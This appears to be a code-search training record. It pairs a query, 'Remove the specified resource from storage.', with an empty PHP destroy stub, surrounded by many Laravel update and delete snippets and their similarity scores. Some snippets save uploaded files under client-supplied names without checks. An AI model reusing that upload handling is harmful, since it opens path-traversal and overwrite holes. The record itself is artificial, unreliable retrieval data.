}\n\n $slider->save();\n\n Alert::success(config('app.name'), trans('messages.Updated Successfully') );\n return redirect()->route('admin.homeSlider',$slider->type);\n }", "public function update(Qstore $request, $id)\n {\n //\n }", "public function update(IEntity $entity);", "protected function performUpdate(): bool\n {\n // Abort if resource does not support update operations\n if (!$this->isUpdatable()) {\n throw new UnsupportedOperation(sprintf('API does not support update operation for %s resources', $this->resourceNameSingular()));\n }\n\n $id = $this->id();\n $prepared = $this->prepareBeforeUpdate($this->toArray());\n\n $payload = [\n $this->resourceNameSingular() => $prepared\n ];\n\n $response = $this\n ->request()\n ->put($this->endpoint($id), $payload);\n\n // Extract and (re)populate resource (if possible)\n // Note: Unlike the \"create\" method, Redmine does NOT\n // appear to send back a full resource when it has been\n // successfully updated.\n $this->fill(\n $this->decodeSingle($response)\n );\n\n return true;\n }", "public function update($request, $id);", "function put($resource, $data = null) {\r\n\t\t\r\n\t\tif(isset($data)) {\r\n\t\t\t$this->request_body = $data;\r\n\t\t}\r\n\r\n\t\t// make the call chief\r\n\t\t$this->exec ( \"PUT\", '/' . $resource );\r\n\r\n\t\t// check the request status\r\n\t\tif($this->status_code != 200){\r\n\t\t\t$this->Logger->error(\r\n\t\t\t\tsprintf(\r\n\t\t\t\t\t'GET Call for resource \\'%s\\' Failed.\r\n\t\t\t\t\tStatus: %d,\r\n\t\t\t\t\tRequest: %s\r\n\t\t\t\t\tAPI Error Message: \r\n\t\t\t\t\t%s',\r\n\t\t\t\t\t$resource,\r\n\t\t\t\t\t$this->status_code,\r\n\t\t\t\t\t$this->request_body_raw,\r\n\t\t\t\t\t$this->response_body\r\n\t\t\t\t)\r\n\t\t\t);\r\n\t\t\tthrow new Exception($this->response_body);\r\n\t\t} else {\r\n\t\t\treturn $this->response_parsed;\r\n\t\t}\r\n\t}", "public function updateEntities($resource)\n {\n $json = [\n 'resource' => $resource,\n ];\n $request = $this->createRequest('PUT', '/entities', ['json' => $json]);\n $response = $this->send($request);\n return $response;\n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->writeStream($path, $resource, $config);\n }", "public function update(Request $request, $id)\n {\n\n $product = Product::findOrFail($id);\n $product->name = $request['name'];\n $product->price = $request['price'];\n $product->stock = $request['stock'];\n $product->description = $request['description'];\n\n $file = $request->file('image');\n $fileName = $file->getClientOriginalName();\n if($fileName != $product->image){\n $request->file('image')->move('images/',$fileName);\n $product->image = $fileName;\n }\n\n $product->save();\n\n return redirect()->route('products.show',\n $product->id)->with('flash_message',\n 'Article, '. $product->name.' updated');\n }", "protected function handleUpdate()\n {\n $resource = $this->argument('resource');\n $action = $this->option('action');\n $startPage = (int)$this->option('startPage');\n $perPage = (int)$this->option('perPage');\n\n try {\n $harvest = Harvest::where('resource', $resource)->where('action', $action)->firstOrFail();\n } catch (\\Exception $e) {\n $this->info('There is no existing action for updating ' . ucwords($action) . ' ' . ucwords($resource) . '.');\n exit('Nothing was updated.');\n }\n\n $options = [\n 'startPage' => $startPage,\n 'perPage' => $perPage,\n 'lastRun' => $harvest->last_run_at\n ];\n\n // If a lastRun was given use that\n // OR if this has never been run before use 2001-01-01\n if (!empty($this->option('lastRun'))) {\n $options['lastRun'] = new Carbon($this->option('lastRun'));\n } elseif (is_null($options['lastRun'])) {\n $options['lastRun'] = new Carbon('2001-01-01');\n }\n\n $job = new UpdateResourceJob(\n $harvest,\n $options\n );\n\n $message = 'Updating ' . $action . ' ' . $resource . ' ' . $perPage . ' at a time';\n if (isset($lastRun)) {\n $message .= ' with entries updated since ' . $lastRun->format('r');\n }\n $this->info($message);\n $this->dispatch($job);\n }", "abstract public function put($data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function update($id, $data);", "public function testUpdateSupplierUsingPUT()\n {\n }", "public function update(Request $request, $id)\n {\n $storageplace = Storageplace::findOrFail($id);\n $storageplace->update($request->only(['storageplace']));\n return $storageplace;\n }", "public function updateRelatedImage(Request $request, $id)\n {\n // Delete display image in Storage\n Validator::make($request->all(), ['photos' => \"required|file|image|mimes:jpg,png,jpeg|max:5000\"])->validate();\n\n\n if ($request->hasFile(\"photos\")) {\n\n $photo = ProductsPhoto::find($id);\n $imageName = $photo->photos;\n $exists = Storage::disk('local')->exists(\"public/product_images/\" . $photo->photos);\n\n //delete old image\n if ($exists) {\n Storage::delete('public/product_images/' . $imageName);\n }\n\n //upload new image\n $ext = $request->file('photos')->getClientOriginalExtension(); //jpg\n\n $request->photos->storeAs(\"public/product_images/\", $imageName);\n\n $arrayToUpdate = array('photos' => $imageName);\n DB::table('products_photos')->where('id', $id)->update($arrayToUpdate);\n\n return redirect()->route(\"adminDisplayRelatedImageForm\", ['id' => $photo->product_id]);\n } else {\n\n $error = \"NO Image was Selected\";\n return $error;\n }\n }", "public function update(Request $request, $id)\n {\n $skill = Skill::findOrFail($id);\n\n $skill->skill = $request->skill;\n\n if ($request->hasFile('image')) {\n \\Cloudder::upload($request->file('image'));\n $c=\\Cloudder::getResult();\n // $image = $request->file('image');\n // $filename = time() . '.' . $image->getClientOriginalExtension();\n // $location = public_path('images/' . $filename);\n // Image::make($image)->save($location);\n\n $skill->image = $c['url'];\n }\n\n $skill->save();\n\n Session::flash('success', 'Successsfully updated your skill!');\n return redirect()->route('skills.index');\n }", "public function updateStream($path, $resource, Config $config = null)\n {\n $contents = stream_get_contents($resource);\n\n return $this->write($path, $contents, $config);\n }", "public abstract function update($object);", "public static function update($id, $file)\n {\n Image::delete($id);\n\n Image::save($file);\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n $image = $product->image;\n if($request->hasFile('image')){\n $image = $request->file('image')->store('files');\n \\Storage::delete($product->image);\n } \n $product->name = $request->get('name');\n $product->price = $request->get('price');\n $product->description = $request->get('description');\n $product->additional_info = $request->get('additional_info');\n $product->category_id = $request->get('category');\n $product->subcategory_id = $request->get('subcategory');\n $product->image = $image;\n $product->save();\n return redirect()->back();\n }", "public function update(Request $request, $id)\n {\n $sli=Slider::find($id);\n $sli->sort_order=$request->input('sort_order');\n $image = $request->file('slider');\n if($image == ''){\n $image = $sli->slider;\n }else{\n $image = base64_encode(file_get_contents($request->file('slider')));\n }\n $sli->slider = $image;\n $sli->save();\n return redirect()->back();\n }", "public function update(ProductRequest $request, $id)\n {\n $input = Product::find($id);\n $data = $request->all();\n if ($file = $request->file('product_photo')){\n $name = time().$file->getClientOriginalName();\n $file->move('product_image',$name);\n $data['product_photo']=$name;\n// $input->update($data);\n }\n $input->update($data);\n return redirect('admin/products/');\n }", "public function update(Request $request, $id)\n {\n $volume = $this->findVolume($id);\n\n if(count($volume) > 0) {\n $volume->str_volume_name = $request->str_volume_name;\n\n $volume->save();\n }\n\n return response()\n ->json(\n array(\n 'message' => 'Volume is successfully updated.',\n 'volume' => $volume\n ),\n 201\n );\n }", "public function update(Request $request, $id)\n {\n $product = ProductModel::find($id);\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->stock = $request->stock;\n\n if($request->image!=null){\n $imageName = time().'.'.$request->image->extension();\n $request->image->move(public_path('images'), $imageName);\n $product->image = \"/images/\".$imageName;\n }\n $product->save();\n return redirect(\"/products/index\")->with('success','Product has been updated');\n }", "public function update()\n {\n $accessory = Accessories::find(request('id'));\n\n if ($accessory == null) {\n return response()->json([\"error\" => \"aksesuaras nerastas\"], 404);\n }\n\n $this->validateData();\n $path = $accessory->src;\n\n if (request()->hasFile('src')) {\n\n if (Storage::disk('public')->exists($accessory->src)) {\n Storage::disk('public')->delete($accessory->src);\n }\n $path = request()->file('src')->store('accessoriesImages', 'public');\n }\n\n $accessory->update(array_merge($this->validateData(), ['src' => $path]));\n\n return response()->json([\"data\" => $accessory], 200);\n }", "public function update(ProductStoreRequest $request,$id)\n {\n $data = $request->validated();\n $product = Product::where('id',$id);\n $product->update($data);\n return response(\"Producto actualizado con éxito\",200);\n }", "public function update($entity)\n {\n \n }", "public function updateStream($path, $resource, Config $config)\n {\n return $this->write($path,stream_get_contents($resource),$config);\n }", "public function update($id, Request $request)\n {\n date_default_timezone_set('Asia/Taipei');\n $data = $request->all();\n $dbData = Product::find($id);\n $myfile = Storage::disk('local');\n if ($request->hasFile('img')) {\n $file = $request->file('img');\n $path = $myfile->putFile('public', $file);\n $data['img'] = $myfile->url($path);\n File::delete(public_path($dbData->img));\n }\n $dbData->update($data);\n\n if ($request->hasFile('imgs')) {\n // $this->fetchDestroyByProdId($id);\n $localS = Storage::disk('local');\n\n $fileS = $request->file('imgs');\n $imgs = [];\n foreach ($fileS as $i) {\n $pathS = $localS->putFile('public', $i);\n $imgs[] = $localS->url($pathS);\n }\n foreach ($imgs as $img) {\n ProductImg::create([\n 'product_id' => $id,\n 'img' => $img\n ]);\n }\n }\n\n return redirect()->route('admin');\n }", "public function update(Request $request, Product $product)\n { $remfile= $product->image;\n if($request->filep){\n $product->image=$request->filep;\n File::delete(storage_path('app/public/products/'.$remfile));\n }else{\n $product->image=$remfile;\n }\n //rmdir(storage_path('app/public/products/'.$remfile));\n $product->name = $request->name;\n $product->description = $request->description;\n $product->price = $request->price;\n $product->save();\n sleep(3);\n toast('Details updated successfully','info');\n return redirect('/products');\n }", "public function update($id, $input);", "public function update(ProductRequest $request,int $id): ProductResource\n {\n $attributes = $request->only('supplier_id', 'name', 'warehouses');\n\n return new ProductResource($this->productRepository->update($id, $attributes)); }", "public function update(Request $request, $id)\n {\n $slider=new Slider;\n $slider=$slider::find($id);\n \n \n if($file =$request->file('slider')){\n if(Storage::delete('public/slider/'.$slider->slider)){\n\n //Get file original name//\n \n$original_name=$file->getClientOriginalName();\n\n //Get just the file name\n$filename=pathinfo($original_name,PATHINFO_FILENAME);\n\n//Create new file name\n$name=$filename.'_'.time().'.'.$file->getClientOriginalExtension();\n\n $destination='public/slider';\n $path=$request->slider->storeAs($destination,$name);\n $slider->slider=$name;\n $slider->save();\n return redirect('Admin/slider');\n\n }\n }\n}", "public function update(Request $request, $id)\n {/* dd($request->all()); */\n $acheivePic = $this->acheiveRepo->find($id);\n $acheive = $request->except('_method', '_token', 'photo', 'ar', 'en');\n $acheiveTrans = $request->only('ar', 'en');\n\n if ($request->hasFile('icon')) {\n // Delete old image first.\n $oldPic = public_path() . '/images/acheives/' . $acheivePic->icon;\n File::delete($oldPic);\n\n // Save the new one.\n $image = $request->file('icon');\n $imageName = $this->upload($image, 'acheives');\n $acheive['icon'] = $imageName;\n }\n\n $this->acheiveRepo->update($id, $acheive, $acheiveTrans);\n\n return redirect('admin-panel/widgets/acheive')->with('updated', 'updated');\n }", "public function update(Request $request, $id)\n {\n $data = $request->all();\n extract($data);\n\n $productVarient = new ProductVariant();\n $productVarient = $productVarient->find($id);\n $productVarient->vendor_id = auth()->user()->id;\n $productVarient->description = $prod_desc;\n $productVarient->price = $price;\n\n if(request()->hasFile('photo')){\n $image = request()->file('photo')->getClientOriginalName();\n $imageNewName = auth()->user()->id.'-'.$image;\n $file = request()->file('photo');\n $file->storeAs('images/product',$imageNewName, ['disk' => 'public']);\n $productVarient->image = $imageNewName;\n }\n \n $productVarient->save();\n\n return back()->withStatus(__('Product successfully updated.'));\n }", "public function update(Request $request, $id)\n {\n //if upload new image, delete old image\n $myfile=$request->old_photo;\n if($request->hasfile('photo'))\n {\n $imageName=time().'.'.$request->photo->extension();\n $name=$request->old_photo;\n\n if(file_exists(public_path($name))){\n unlink(public_path($name));\n $request->photo->move(public_path('backendtemplate/truefalseimg'),$imageName);\n $myfile='backendtemplate/truefalseimg/'.$imageName;\n }\n }\n //Update Data\n $truefalsequestion=TrueFalseQuestion::find($id);\n $truefalsequestion->name=$request->name;\n $truefalsequestion->photo=$myfile;\n $truefalsequestion->answer = $request->answer;\n $truefalsequestion->question_id = $request->question;\n $truefalsequestion->save();\n\n //Redirect\n return redirect()->route('truefalsequestions.index'); \n }", "public function update($id);", "public function update($id);", "private function update()\n {\n $this->data = $this->updateData($this->data, $this->actions);\n $this->actions = [];\n }", "public function put($path, $data = null);", "public function update(Request $request, $id)\n {\n $request->validate([\n 'path_image'=>'image',\n 'status'=>'required|in:0,1'\n ]);\n $slider=Slider::whereId($id)->first();\n if (is_null($slider)){\n return redirect()->route('sliders.index')->with('error','Slider does not exist');\n }\n try {\n if ($request->hasFile('path_image')){\n $file = $request->file('path_image');\n\n $image_path= $file->store('/sliders',[\n 'disk'=>'uploads'\n ]);\n Storage::disk('uploads')->delete($slider->image);\n\n $request->merge([\n 'image'=>$image_path,\n ]);\n }\n\n $slider->update( $request->only(['status','image']));\n return redirect()->route('sliders.index')->with('success','Updated successful');\n }catch (\\Exception $exception){\n return redirect()->route('sliders.index')->with(['error'=>'Something error try again']);\n\n }\n }", "public function update() {\n $this->accessory->update($this->accessory_params());\n\n if ($this->accessory->is_valid()) {\n $this->update_accessory_image($this->accessory);\n redirect('/backend/accessories', ['notice' => 'Successfully updated.']);\n } else {\n redirect(\n '/backend/accessories/edit',\n ['error' => $this->accessory->errors_as_string()],\n ['id' => $this->accessory->id]\n );\n }\n }", "public function update(Entity $entity);", "public function update(Request $request, $id)\n {\n $icon = SliderIcon::find($id);\n $data = $request->all();\n $data['active'] = $request->has('active') ? 1 : 0;\n if ($request->hasFile('img')) {\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $image = $request->file('img');\n $fileName = time().'_'.Str::lower(Str::random(5)).'.'.$image->getClientOriginalExtension();\n $path_to = '/upload/images/'.getfolderName();\n $image->storeAs('public'.$path_to, $fileName);\n $data['img'] = 'storage'.$path_to.'/'.$fileName;\n }\n $icon->update($data);\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества обнавлены');\n }", "public function update() {\n\t $this->layout = false;\n\t \n\t //set default response\n\t $response = array('status'=>'failed', 'message'=>'HTTP method not allowed');\n\t \n\t //check if HTTP method is PUT\n\t if($this->request->is('put')){\n\t //get data from request object\n\t $data = $this->request->input('json_decode', true);\n\t if (empty($data)) {\n\t $data = $this->request->data;\n\t }\n\t \n\t //check if product ID was provided\n\t if (!empty($data['id'])) {\n\t \n\t //set the product ID to update\n\t $this->Player->id = $data['id'];\n\t if ($this->Player->save($data)) {\n\t $response = array('status'=>'success','message'=>'Product successfully updated');\n\t } else {\n\t $response['message'] = \"Failed to update product\";\n\t }\n\t } else {\n\t $response['message'] = 'Please provide product ID';\n\t }\n\t }\n\t \n\t $this->response->type('application/json');\n\t $this->response->body(json_encode($response));\n\n\t return $this->response->send();\n\t}", "public function update(Request $request, $id)\n {\n //validate incoming request\n $request->validate([\n 'name' => 'string|max:100|nullable',\n 'picture' => 'max:2000|mimes:jpeg,jpg,png,svg|nullable', //max size 2mb,\n 'total' => 'integer|min:0|nullable', //value must be > 0\n 'selling_price' => 'numeric|min:0|nullable',\n 'cost_price' => 'numeric|min:0|nullable',\n 'category_id' => 'integer|nullable'\n ]);\n\n try {\n $product = Auth::user()->store->product()->findorFail($id);\n } catch (ModelNotFoundException $e) {\n return response()->json([\n \"message\" => \"Forbidden\"\n ], 403);\n }\n\n //if category id isnt null\n if ($category_id = $request->category_id) {\n if (!$this->isCategoryIdValid($category_id))\n return response()->json([\n \"message\" => \"Category Id is not valid\"\n ], 422);\n else\n $product->category_id = $request->category_id;\n }\n\n //if uploaded file exist\n if ($picture = $request->file(\"picture\")) {\n //if product already has logo\n if ($product->picture)\n Storage::delete(Product::$PICTURE_PATH . \"/\" . $product->picture);\n\n $picture_path = $picture->store(Product::$PICTURE_PATH);\n //remove folder name from path\n $product->picture = str_replace(Product::$PICTURE_PATH . \"/\", '', $picture_path);\n }\n\n $this->renewProduct($product, $request);\n $product->save();\n return response()->json(new ProductResource($product), 200);\n }", "public function update(Request $request, $id)\n {\n $request->validate([\n 'name' => 'required | min:3 | string',\n 'type' => 'required',\n 'producer' => 'required',\n 'image' => 'image | mimes:png,jpg,jpeg',\n 'price_input' => 'required | numeric | min:0 | max:300000000',\n 'promotion_price' => 'required | numeric | max:300000000',\n 'description' => 'required | string',\n\n ]);\n $product = Product::withTrashed()->findOrfail($id);\n $product->name = $request->name;\n $product->id_type = $request->type;\n $product->id_producer = $request->producer;\n\n $product->amount = $request->amount;\n if (request('image')) {\n $product->image = base64_encode(file_get_contents($request->file('image')->getRealPath()));\n }\n\n $product->price_input = $request->price_input;\n\n if ( $request->promotion_price >= 0 && $request->promotion_price < $product->price_input) {\n $product->promotion_price = $request->promotion_price;\n }else{\n return back()->with('error', '\n Do not enter a negative number');\n }\n $product->new = $request->new;\n\n $product->description = $request->description;\n\n $product->save();\n $product->size()->sync(request('size'));\n\n return redirect()->route('product.index')->with('success', 'Product Updated successfully');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n $product->name = $request->input('name');\n $product->description = $request->input('description');\n $product->lastPrice = $product->price !== $request->input('price') ? $product->price : NULL;\n $product->price = $request->input('price');\n\n if ($request->hasFile('image')) { \n $currentImg = $product->image;\n if ($currentImg) {\n Storage::delete('/public/' . $currentImg);\n }\n $image = $request->file('image'); \n $path = $image->store('images','public');\n $product->image = $path;\n };\n\n $product->save(); \n\n $product_promotions = $request->input('promotion');\n\n $product->promotions()->sync($product_promotions);\n\n return redirect()->route('admin.modify');\n }", "public static function updateImage($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n ResourceHandler::delete($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update($request, $id)\n {\n $this->checkExits($id);\n $data = $request->except(['_method','_token','photo']);\n\n if($request->photo)\n {\n try {\n $this->UploadFile($request);\n } catch (\\Exception $e) {\n //if has exception , don't has action\n }\n if ($this->img !== '') {\n $data['img'] = $this->img;\n }\n }\n\n $this->object->update($data);\n\n }", "public function updateProduct($request, $product)\n {\n $product->update($request->except(['_token', '_method', 'image']));\n if ($request->hasFile('image')) {\n $image = $request->file('image');\n $imageName = time() . '.' . $request->file('image')->extension();\n // $img = Image::make('public/foo.jpg');\n\n $image_resize = Image::make($image->getRealPath());\n $image_resize->resize(500, 500);\n $image_resize->save(public_path('images/') . $imageName, 100);\n $product->gallery = $imageName;\n $product->save();\n }\n $product->getTags()->sync($request->input('tags'));\n }" ]
[ "0.7425105", "0.70612276", "0.70558053", "0.6896673", "0.6582159", "0.64491373", "0.6346954", "0.62114537", "0.6145042", "0.6119944", "0.61128503", "0.6099993", "0.6087866", "0.6052593", "0.6018941", "0.60060275", "0.59715486", "0.5946516", "0.59400934", "0.59377414", "0.5890722", "0.5860816", "0.5855127", "0.5855127", "0.58513457", "0.5815068", "0.5806887", "0.57525045", "0.57525045", "0.57337505", "0.5723295", "0.5714311", "0.5694472", "0.5691319", "0.56879413", "0.5669989", "0.56565005", "0.56505877", "0.5646085", "0.5636683", "0.5633498", "0.5633378", "0.5632906", "0.5628826", "0.56196684", "0.5609126", "0.5601397", "0.55944353", "0.5582592", "0.5581908", "0.55813426", "0.5575312", "0.55717176", "0.55661047", "0.55624634", "0.55614686", "0.55608666", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55599797", "0.55573726", "0.5556878", "0.5554201", "0.5553069", "0.55530256", "0.5543788", "0.55435944", "0.55412996", "0.55393505", "0.55368495", "0.5535236", "0.5534954", "0.55237365", "0.5520468", "0.55163723", "0.55125296", "0.5511168", "0.5508345", "0.55072427", "0.5502385", "0.5502337", "0.5501029", "0.54995877", "0.54979175", "0.54949397", "0.54949397", "0.54946727", "0.5494196", "0.54941916", "0.54925025", "0.5491807", "0.5483321", "0.5479606", "0.5479408", "0.5478678", "0.54667485", "0.5463411", "0.5460588", "0.5458525" ]
0.0
-1
Remove the specified resource from storage.
public function destroy($id) { // }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function delete($resource){\n return $this->fetch($resource, self::DELETE);\n }", "public function destroy(Resource $resource)\n {\n //\n }", "public function removeResource($resourceID)\n\t\t{\n\t\t}", "public function unpublishResource(PersistentResource $resource)\n {\n $client = $this->getClient($this->name, $this->options);\n try {\n $client->delete(Path::fromString($this->getRelativePublicationPathAndFilename($resource)));\n } catch (FileDoesNotExistsException $exception) {\n }\n }", "public function deleteResource(&$resource) {\n\n if ($this->connector != null) {\n $this->logger->addDebug(\"Deleting Resource Node from Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}}) detach delete a;\",\n [\n 'id' => $resource->getID()\n ]\n );\n $this->logger->addDebug(\"Updated neo4j to remove resource\");\n }\n\n }", "public function deleteShopifyResource() {\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'DELETE',\n ]);\n }", "public function deleteResource()\n {\n $database = new Database();\n $id = $this->_params['id'];\n $database->deleteResource($id);\n $this->_f3->reroute('/Admin');\n }", "protected function deleteResource($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function delete()\n {\n persistableCollection::getInstance($this->resourceName)->deleteObject($this);\n }", "public function remove()\n {\n $this->_getBackend()->remove($this->_id);\n }", "public function remove()\n {\n if (! ftruncate($this->fileHandle, 0)) {\n throw new StorageException(\"Could not truncate $this->path\");\n }\n if (! unlink($this->path)) {\n throw new StorageException(\"Could not delete $this->path\");\n }\n }", "public function delete()\n\t{\n\t\t$s3 = AWS::createClient('s3');\n $s3->deleteObject(\n array(\n 'Bucket' => $this->bucket,\n 'Key' => $this->location\n )\n );\n\t\tif($this->local_file && file_exists($this->local_file)) {\n\t\t\tunlink($this->local_file);\n\t\t}\n $this->local_file = null;\n\t}", "public function delete()\n\t{\n\t\tsfCore::db->query(\"DELETE FROM `swoosh_file_storage` WHERE `id`='%i';\", $this->id);\n\t\t$this->fFile->delete();\n\t}", "public function delete(): void\n {\n unlink($this->getPath());\n }", "public function delete()\n {\n if($this->exists())\n unlink($this->getPath());\n }", "public function remove($path);", "function deleteFileFromStorage($path)\n{\n unlink(public_path($path));\n}", "public function delete(): void\n {\n unlink($this->path);\n }", "private function destroyResource(DrydockResource $resource) {\n $blueprint = $resource->getBlueprint();\n $blueprint->destroyResource($resource);\n\n $resource\n ->setStatus(DrydockResourceStatus::STATUS_DESTROYED)\n ->save();\n }", "public static function delete($fileName, $storage)\n {\n if (Storage::disk($storage)->exists($fileName)) \n {\n return Storage::disk($storage)->delete($fileName);\n }\n }", "public function remove() {}", "public function remove() {}", "public function remove();", "public function remove();", "public function remove();", "public function remove();", "function delete_resource($resource_id, $page)\n\t{\n\t\t//get resource data\n\t\t$table = \"resource\";\n\t\t$where = \"resource_id = \".$resource_id;\n\t\t\n\t\t$this->db->where($where);\n\t\t$resource_query = $this->db->get($table);\n\t\t$resource_row = $resource_query->row();\n\t\t$resource_path = $this->resource_path;\n\t\t\n\t\t$image_name = $resource_row->resource_image_name;\n\t\t\n\t\t//delete any other uploaded image\n\t\t$this->file_model->delete_file($resource_path.\"\\\\\".$image_name, $this->resource_path);\n\t\t\n\t\t//delete any other uploaded thumbnail\n\t\t$this->file_model->delete_file($resource_path.\"\\\\thumbnail_\".$image_name, $this->resource_path);\n\t\t\n\t\tif($this->resource_model->delete_resource($resource_id))\n\t\t{\n\t\t\t$this->session->set_userdata('success_message', 'resource has been deleted');\n\t\t}\n\t\t\n\t\telse\n\t\t{\n\t\t\t$this->session->set_userdata('error_message', 'resource could not be deleted');\n\t\t}\n\t\tredirect('resource/'.$page);\n\t}", "public function deleteImage(){\n\n\n Storage::delete($this->image);\n }", "public function del(string $resource): bool|string\n {\n $json = false;\n $fs = unserialize($_SESSION['rfe'][$this->getRoot()], ['allowed_classes' => false]);\n if (array_key_exists($resource, $fs)) {\n // if $item has children, delete all children too\n if (array_key_exists('dir', $fs[$resource])) {\n foreach ($fs as $key => $file) {\n if (isset($file['parId']) && $file['parId'] == $resource) {\n unset($fs[$key]);\n }\n }\n }\n unset($fs[$resource]);\n $_SESSION['rfe'][$this->getRoot()] = serialize($fs);\n $json = '[{\"msg\": \"item deleted\"}]';\n }\n return $json;\n }", "public function destroy()\n\t{\n\t\treturn unlink(self::filepath($this->name));\n\t}", "public function destroy($id) {\n $book = Book::find($id);\n // return unlink(storage_path(\"public/featured_images/\".$book->featured_image));\n Storage::delete(\"public/featured_images/\" . $book->featured_image);\n if ($book->delete()) {\n return $book;\n }\n\n }", "public function destroy($id)\n {\n Storageplace::findOrFail($id)->delete();\n }", "public function destroyResourceImage(): void\n\t{\n\t\tif (isset($this->image)) {\n\t\t\t@imagedestroy($this->image->getImageResource());\n\t\t}\n\t}", "public function deleteResource(PersistentResource $resource)\n {\n $pathAndFilename = $this->getStoragePathAndFilenameByHash($resource->getSha1());\n if (!file_exists($pathAndFilename)) {\n return true;\n }\n if (unlink($pathAndFilename) === false) {\n return false;\n }\n Files::removeEmptyDirectoriesOnPath(dirname($pathAndFilename));\n return true;\n }", "public function deleteImage(){\n \tStorage::delete($this->image);\n }", "public function destroy()\n {\n $file=public_path(config('larapages.media.folder')).Input::all()['folder'].'/'.Input::all()['file'];\n if (!file_exists($file)) die('File not found '.$file);\n unlink($file);\n }", "public function delete() \r\n {\r\n if($this->exists())\r\n {\r\n unlink($this->fullName());\r\n }\r\n }", "public function destroy($id)\n {\n Myfile::find($id)->delete();\n }", "public function destroy($delete = false)\n {\n if (null !== $this->resource) {\n $this->resource->clear();\n $this->resource->destroy();\n }\n\n $this->resource = null;\n clearstatcache();\n\n // If the $delete flag is passed, delete the image file.\n if (($delete) && file_exists($this->name)) {\n unlink($this->name);\n }\n }", "public static function delete($path){\r\n $currentDir = getcwd();\r\n $storageSubPath = \"/../../\".STORAGE_PATH;\r\n $file = $currentDir . $storageSubPath . '/' . $path;\r\n\r\n unlink($file);\r\n }", "public function destroy(Storage $storage)\n {\n return redirect()->route('storages.index');\n }", "public function remove() {\n //Check if there are thumbs and delete files and db\n foreach ($this->thumbs()->get() as $thumb) {\n $thumb->remove();\n } \n //Delete the attachable itself only if is not default\n if (strpos($this->url, '/defaults/') === false) {\n Storage::disk('public')->delete($this->getPath());\n }\n parent::delete(); //Remove db record\n }", "public function removeFile($uri){\n return Storage::disk('public')->delete($uri);\n }", "public function destroy(Resource $resource)\n {\n if( $resource->delete() ){\n return Response(['status'=>'success','message'=>'Resource deleted']); \n } else {\n return Response(['status'=>'error', 'message'=>'Something went wrong']);\n }\n }", "public function delete($path);", "public function delete($path);", "public function destroy($id)\n { \n File::find($id)->remove();\n \n return redirect()->route('files.index');\n }", "public function destroy($id)\n {\n $supplier = Supplier::find($id);\n $photo = $supplier->photo;\n if ($photo) {\n unlink($photo);\n }\n $supplier->delete();\n }", "public function destroy($id)\n {\n $student = Student::where('id', $id)->first();\n // $path = $student->image;\n unlink($student->image);\n Student::findOrFail($id)->delete();\n return response('Deleted!');\n }", "public function destroy($id)\n {\n $icon = SliderIcon::find($id);\n if (Storage::disk('public')->exists(str_replace('storage', '', $icon->img))){\n Storage::disk('public')->delete(str_replace('storage', '', $icon->img));\n }\n $icon->delete();\n return redirect()->route('slider_icons.index')->with('success', 'Данные преимущества удалёны');\n }", "public function delete($path, $data = null);", "public function destroy($id)\n {\n $items=Items::find($id);\n // delete old file\n if ($items->photo) {\n $str=$items->photo;\n $pos = strpos($str,'/',1);\n $str = substr($str, $pos);\n $oldFile = storage_path('app\\public').$str;\n File::Delete($oldFile); \n }\n $items->delete();\n return redirect()->route('items.index');\n }", "public function destroy($id)\n {\n $carousel = Carousel::find($id);\n $image = $carousel->image;\n\n $basename ='img/carousel/' . basename($image);\n //Delete the file from disk\n if(file_exists($basename)){\n unlink($basename);\n }\n //With softDeletes, this is the way to permanently delete a record\n $carousel->delete();\n Session::flash('success','Product deleted permanently');\n return redirect()->back();\n }", "public function remove()\n {\n $fs = new Filesystem();\n $fs->remove($this->dir());\n }", "public static function destroy(int $resource_id)\n {\n try {\n $image_data = ListingImage::where('id', $resource_id)->first();\n self::delete_image($image_data->name);\n $delete = ListingImage::where('id', $resource_id)->delete();\n\n // activity()\n // ->causedBy(Auth::user()->id)\n // ->performedOn($delete)\n // ->withProperties(['id' => $delete->id])\n // ->log('listing image deleted');\n return response()->json(['status'=> 'ok', 'msg'=> 'Data deleted successfully']);\n } catch (Exception $e) {\n $e->getMessage();\n }\n }", "public function destroy(Storage $storage)\n {\n $this->storage->destroy($storage);\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource deleted', ['name' => trans('product::storages.title.storages')]));\n }", "public function del($path){\n\t\treturn $this->remove($path);\n\t}", "public function destroy($id)\n {\n //\n $product = Product::findOrFail($id);\n $product->delete();\n if($product->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$product->img);\n // return 'deleted';\n }\n return redirect()->route('product.index'); \n }", "public function removeUpload()\n{\n if ($file = $this->getAbsolutePath()) {\n unlink($file); \n }\n}", "public function destroy($id)\n {\n $image = Images::withTrashed()->find($id);\n\n Storage::disk('uploads')->delete(\"social-media/$image->filename\");\n\n $image->tags()->detach();\n $image->detachMedia(config('constants.media_tags'));\n $image->forceDelete();\n\n return redirect()->back()->with('success', 'The image was successfully deleted');\n }", "public function destroyByResourceId($resource_id)\n {\n// $online_party = $this->onlinetrack->where('resource_id', $resource_id)->get()->first();\n// $online_party->status = \"offline\";\n// $online_party->save();\n// return $online_party;\n return $this->onlinetrack->where('resource_id', $resource_id)->delete();\n }", "public function revoke($resource, $permission = null);", "public function destroy($id)\n {\n $data=Image::find($id);\n $image = $data->img;\n\n\n $filepath= public_path('images/');\n $imagepath = $filepath.$image;\n\n //dd($old_image);\n if 